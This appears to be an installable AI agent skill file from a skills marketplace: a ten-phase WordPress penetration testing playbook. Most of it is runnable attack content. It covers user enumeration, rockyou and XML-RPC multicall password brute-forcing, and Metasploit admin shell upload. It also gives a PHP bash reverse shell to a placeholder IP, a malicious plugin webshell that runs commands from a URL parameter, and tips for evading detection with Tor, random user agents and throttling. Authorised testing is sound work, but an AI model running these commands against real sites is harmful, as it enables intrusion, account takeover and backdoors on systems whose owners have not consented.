This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
Add this skill
npx mdskills install sickn33/wordpress-penetration-testingComprehensive WordPress pentesting guide with detailed commands and exploitation techniques across 10 phases
1---2name: WordPress Penetration Testing3description: This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.4metadata:5 author: zebbern6 version: "1.1"7---89# WordPress Penetration Testing1011## Purpose1213Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.1415## Prerequisites1617### Required Tools18- WPScan (pre-installed in Kali Linux)19- Metasploit Framework20- Burp Suite or OWASP ZAP21- Nmap for initial discovery22- cURL or wget2324### Required Knowledge25- WordPress architecture and structure26- Web application testing fundamentals27- HTTP protocol understanding28- Common web vulnerabilities (OWASP Top 10)2930## Outputs and Deliverables31321. **WordPress Enumeration Report** - Version, themes, plugins, users332. **Vulnerability Assessment** - Identified CVEs and misconfigurations343. **Credential Assessment** - Weak password findings354. **Exploitation Proof** - Shell access documentation3637## Core Workflow3839### Phase 1: WordPress Discovery4041Identify WordPress installations:4243```bash44# Check for WordPress indicators45curl -s http://target.com | grep -i wordpress46curl -s http://target.com | grep -i "wp-content"47curl -s http://target.com | grep -i "wp-includes"4849# Check common WordPress paths50curl -I http://target.com/wp-login.php51curl -I http://target.com/wp-admin/52curl -I http://target.com/wp-content/53curl -I http://target.com/xmlrpc.php5455# Check meta generator tag56curl -s http://target.com | grep "generator"5758# Nmap WordPress detection59nmap -p 80,443 --script http-wordpress-enum target.com60```6162Key WordPress files and directories:63- `/wp-admin/` - Admin dashboard64- `/wp-login.php` - Login page65- `/wp-content/` - Themes, plugins, uploads66- `/wp-includes/` - Core files67- `/xmlrpc.php` - XML-RPC interface68- `/wp-config.php` - Configuration (not accessible if secure)69- `/readme.html` - Version information7071### Phase 2: Basic WPScan Enumeration7273Comprehensive WordPress scanning with WPScan:7475```bash76# Basic scan77wpscan --url http://target.com/wordpress/7879# With API token (for vulnerability data)80wpscan --url http://target.com --api-token YOUR_API_TOKEN8182# Aggressive detection mode83wpscan --url http://target.com --detection-mode aggressive8485# Output to file86wpscan --url http://target.com -o results.txt8788# JSON output89wpscan --url http://target.com -f json -o results.json9091# Verbose output92wpscan --url http://target.com -v93```9495### Phase 3: WordPress Version Detection9697Identify WordPress version:9899```bash100# WPScan version detection101wpscan --url http://target.com102103# Manual version checks104curl -s http://target.com/readme.html | grep -i version105curl -s http://target.com/feed/ | grep -i generator106curl -s http://target.com | grep "?ver="107108# Check meta generator109curl -s http://target.com | grep 'name="generator"'110111# Check RSS feeds112curl -s http://target.com/feed/113curl -s http://target.com/comments/feed/114```115116Version sources:117- Meta generator tag in HTML118- readme.html file119- RSS/Atom feeds120- JavaScript/CSS file versions121122### Phase 4: Theme Enumeration123124Identify installed themes:125126```bash127# Enumerate all themes128wpscan --url http://target.com -e at129130# Enumerate vulnerable themes only131wpscan --url http://target.com -e vt132133# Theme enumeration with detection mode134wpscan --url http://target.com -e at --plugins-detection aggressive135136# Manual theme detection137curl -s http://target.com | grep "wp-content/themes/"138curl -s http://target.com/wp-content/themes/139```140141Theme vulnerability checks:142```bash143# Search for theme exploits144searchsploit wordpress theme <theme_name>145146# Check theme version147curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version148curl -s http://target.com/wp-content/themes/<theme>/readme.txt149```150151### Phase 5: Plugin Enumeration152153Identify installed plugins:154155```bash156# Enumerate all plugins157wpscan --url http://target.com -e ap158159# Enumerate vulnerable plugins only160wpscan --url http://target.com -e vp161162# Aggressive plugin detection163wpscan --url http://target.com -e ap --plugins-detection aggressive164165# Mixed detection mode166wpscan --url http://target.com -e ap --plugins-detection mixed167168# Manual plugin discovery169curl -s http://target.com | grep "wp-content/plugins/"170curl -s http://target.com/wp-content/plugins/171```172173Common vulnerable plugins to check:174```bash175# Search for plugin exploits176searchsploit wordpress plugin <plugin_name>177searchsploit wordpress mail-masta178searchsploit wordpress slideshow gallery179searchsploit wordpress reflex gallery180181# Check plugin version182curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt183```184185### Phase 6: User Enumeration186187Discover WordPress users:188189```bash190# WPScan user enumeration191wpscan --url http://target.com -e u192193# Enumerate specific number of users194wpscan --url http://target.com -e u1-100195196# Author ID enumeration (manual)197for i in {1..20}; do198 curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'199done200201# JSON API user enumeration (if enabled)202curl -s http://target.com/wp-json/wp/v2/users203204# REST API user enumeration205curl -s http://target.com/wp-json/wp/v2/users?per_page=100206207# Login error enumeration208curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php209```210211### Phase 7: Comprehensive Enumeration212213Run all enumeration modules:214215```bash216# Enumerate everything217wpscan --url http://target.com -e at -e ap -e u218219# Alternative comprehensive scan220wpscan --url http://target.com -e vp,vt,u,cb,dbe221222# Enumeration flags:223# at - All themes224# vt - Vulnerable themes225# ap - All plugins226# vp - Vulnerable plugins227# u - Users (1-10)228# cb - Config backups229# dbe - Database exports230231# Full aggressive enumeration232wpscan --url http://target.com -e at,ap,u,cb,dbe \233 --detection-mode aggressive \234 --plugins-detection aggressive235```236237### Phase 8: Password Attacks238239Brute-force WordPress credentials:240241```bash242# Single user brute-force243wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt244245# Multiple users from file246wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt247248# With password attack threads249wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50250251# XML-RPC brute-force (faster, may bypass protection)252wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc253254# Brute-force with API limiting255wpscan --url http://target.com -U admin -P passwords.txt --throttle 500256257# Create targeted wordlist258cewl http://target.com -w wordlist.txt259wpscan --url http://target.com -U admin -P wordlist.txt260```261262Password attack methods:263- `wp-login` - Standard login form264- `xmlrpc` - XML-RPC multicall (faster)265- `xmlrpc-multicall` - Multiple passwords per request266267### Phase 9: Vulnerability Exploitation268269#### Metasploit Shell Upload270271After obtaining credentials:272273```bash274# Start Metasploit275msfconsole276277# Admin shell upload278use exploit/unix/webapp/wp_admin_shell_upload279set RHOSTS target.com280set USERNAME admin281set PASSWORD jessica282set TARGETURI /wordpress283set LHOST <your_ip>284exploit285```286287#### Plugin Exploitation288289```bash290# Slideshow Gallery exploit291use exploit/unix/webapp/wp_slideshowgallery_upload292set RHOSTS target.com293set TARGETURI /wordpress294set USERNAME admin295set PASSWORD jessica296set LHOST <your_ip>297exploit298299# Search for WordPress exploits300search type:exploit platform:php wordpress301```302303#### Manual Exploitation304305Theme/plugin editor (with admin access):306307```php308// Navigate to Appearance > Theme Editor309// Edit 404.php or functions.php310// Add PHP reverse shell:311312<?php313exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");314?>315316// Or use weevely backdoor317// Access via: http://target.com/wp-content/themes/theme_name/404.php318```319320Plugin upload method:321322```bash323# Create malicious plugin324cat > malicious.php << 'EOF'325<?php326/*327Plugin Name: Malicious Plugin328Description: Security Testing329Version: 1.0330*/331if(isset($_GET['cmd'])){332 system($_GET['cmd']);333}334?>335EOF336337# Zip and upload via Plugins > Add New > Upload Plugin338zip malicious.zip malicious.php339340# Access webshell341curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"342```343344### Phase 10: Advanced Techniques345346#### XML-RPC Exploitation347348```bash349# Check if XML-RPC is enabled350curl -X POST http://target.com/xmlrpc.php351352# List available methods353curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php354355# Brute-force via XML-RPC multicall356cat > xmlrpc_brute.xml << 'EOF'357<?xml version="1.0"?>358<methodCall>359<methodName>system.multicall</methodName>360<params>361<param><value><array><data>362<value><struct>363<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>364<member><name>params</name><value><array><data>365<value><string>admin</string></value>366<value><string>password1</string></value>367</data></array></value></member>368</struct></value>369<value><struct>370<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>371<member><name>params</name><value><array><data>372<value><string>admin</string></value>373<value><string>password2</string></value>374</data></array></value></member>375</struct></value>376</data></array></value></param>377</params>378</methodCall>379EOF380381curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php382```383384#### Scanning Through Proxy385386```bash387# Use Tor proxy388wpscan --url http://target.com --proxy socks5://127.0.0.1:9050389390# HTTP proxy391wpscan --url http://target.com --proxy http://127.0.0.1:8080392393# Burp Suite proxy394wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks395```396397#### HTTP Authentication398399```bash400# Basic authentication401wpscan --url http://target.com --http-auth admin:password402403# Force SSL/TLS404wpscan --url https://target.com --disable-tls-checks405```406407## Quick Reference408409### WPScan Enumeration Flags410411| Flag | Description |412|------|-------------|413| `-e at` | All themes |414| `-e vt` | Vulnerable themes |415| `-e ap` | All plugins |416| `-e vp` | Vulnerable plugins |417| `-e u` | Users (1-10) |418| `-e cb` | Config backups |419| `-e dbe` | Database exports |420421### Common WordPress Paths422423| Path | Purpose |424|------|---------|425| `/wp-admin/` | Admin dashboard |426| `/wp-login.php` | Login page |427| `/wp-content/uploads/` | User uploads |428| `/wp-includes/` | Core files |429| `/xmlrpc.php` | XML-RPC API |430| `/wp-json/` | REST API |431432### WPScan Command Examples433434| Purpose | Command |435|---------|---------|436| Basic scan | `wpscan --url http://target.com` |437| All enumeration | `wpscan --url http://target.com -e at,ap,u` |438| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |439| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |440441## Constraints and Limitations442443### Legal Considerations444- Obtain written authorization before testing445- Stay within defined scope446- Document all testing activities447- Follow responsible disclosure448449### Technical Limitations450- WAF may block scanning451- Rate limiting may prevent brute-force452- Some plugins may have false negatives453- XML-RPC may be disabled454455### Detection Evasion456- Use random user agents: `--random-user-agent`457- Throttle requests: `--throttle 1000`458- Use proxy rotation459- Avoid aggressive modes on monitored sites460461## Troubleshooting462463### WPScan Shows No Vulnerabilities464465**Solutions:**4661. Use API token for vulnerability database4672. Try aggressive detection mode4683. Check for WAF blocking scans4694. Verify WordPress is actually installed470471### Brute-Force Blocked472473**Solutions:**4741. Use XML-RPC method instead of wp-login4752. Add throttling: `--throttle 500`4763. Use different user agents4774. Check for IP blocking/fail2ban478479### Cannot Access Admin Panel480481**Solutions:**4821. Verify credentials are correct4832. Check for two-factor authentication4843. Look for IP whitelist restrictions4854. Check for login URL changes (security plugins)486
Full transparency — inspect the skill content before installing.